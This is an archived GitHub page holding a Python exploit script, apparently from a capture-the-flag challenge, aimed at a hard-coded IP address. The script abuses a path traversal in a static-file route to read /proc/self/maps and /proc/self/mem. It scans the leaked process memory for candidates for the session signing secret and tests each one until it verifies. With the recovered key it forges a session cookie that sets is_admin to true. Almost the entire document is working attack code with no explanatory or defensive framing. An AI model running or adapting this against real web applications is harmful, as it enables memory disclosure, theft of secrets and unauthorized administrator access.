This repository has been archived by the owner on Mar 19, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 1
/
mem_travesal.py
112 lines (95 loc) · 3.26 KB
/
mem_travesal.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import base64
import contextlib
import json
import re
import httpx
import itsdangerous
resp = httpx.get("http://1.95.11.7:40721/static//proc/self/maps")
resp.raise_for_status()
session = resp.cookies["session"]
print(session)
map_regex = re.compile(
r"^(?P<start>[0-9a-f]+)-(?P<end>[0-9a-f]+)\s+"
r"(?P<mode>[\w-]+)\s+"
r"(?P<offset>[0-9a-f]+)\s+"
r"(?P<major>[0-9a-f]+):(?P<minor>[0-9a-f]+)\s+"
r"(?P<inode>\d+)\s+"
r"(?P<path>.+?)?$"
)
secret = None
data = None
for line in resp.text.splitlines():
match = map_regex.match(line)
if not match:
continue
start_offset = int(match["start"], 16)
end_offset = int(match["end"], 16)
path = match["path"]
# CPython uses _PyMem_ArenaAlloc to allocate memory
# Since all memory allocated by the arena allocator is anonymous,
# we can ignore the pages with a path
if path:
continue
print(f"Trying to read from {start_offset=}, {end_offset=}")
content = bytearray()
with (
contextlib.suppress(httpx.HTTPError),
httpx.stream(
url="http://1.95.11.7:40721/static//proc/self/mem",
method="GET",
headers={"range": f"bytes={start_offset}-{end_offset}"},
timeout=21,
) as resp,
):
if resp.status_code >= 400:
print("Failed to read from memory, status code:", resp.status_code)
continue
try:
for chunk in resp.iter_bytes():
content += chunk
except Exception as e:
print("Failed to read from memory:", e)
possible_secrets = set[str]()
secrets_surrounding: dict[str, bytes] = {}
# find all urlsafe characters longer than 22
for matched in re.finditer(rb"[\w-]{22,}", content):
matched_string = matched.group().decode()
# if matched is longer than 22, get all possible substrings of length 22
substrings: list[str] = []
for i in range(len(matched_string) - 22 + 1):
substrings.append(matched_string[i : i + 22])
possible_secrets.update(substrings)
# store the surrounding characters
# (20 characters before and after) of the matched string
for substring in substrings:
start = matched.start() - 20
end = matched.end() + 20
if start < 0:
start = 0
if end > len(content):
end = len(content)
secrets_surrounding[substring] = content[start:end]
for secret in possible_secrets:
try:
serializer = itsdangerous.TimestampSigner(secret)
data = base64.b64decode(serializer.unsign(session))
except itsdangerous.BadSignature:
continue
print("#" * 80)
print("Found secret!")
print(f"Secret: {secret}")
print(f"Data: {data}")
print(f"Matched: {match.groupdict()}")
print(f"Surrounding: {secrets_surrounding[secret]}")
break
if data:
break
if not data or not secret:
print("Failed to find secret")
exit(1)
print("Constructing payload")
payload = {**json.loads(data.decode()), "is_admin": True}
signed_payload = itsdangerous.TimestampSigner(secret).sign(
base64.b64encode(json.dumps(payload).encode())
)
print("Payload:", signed_payload)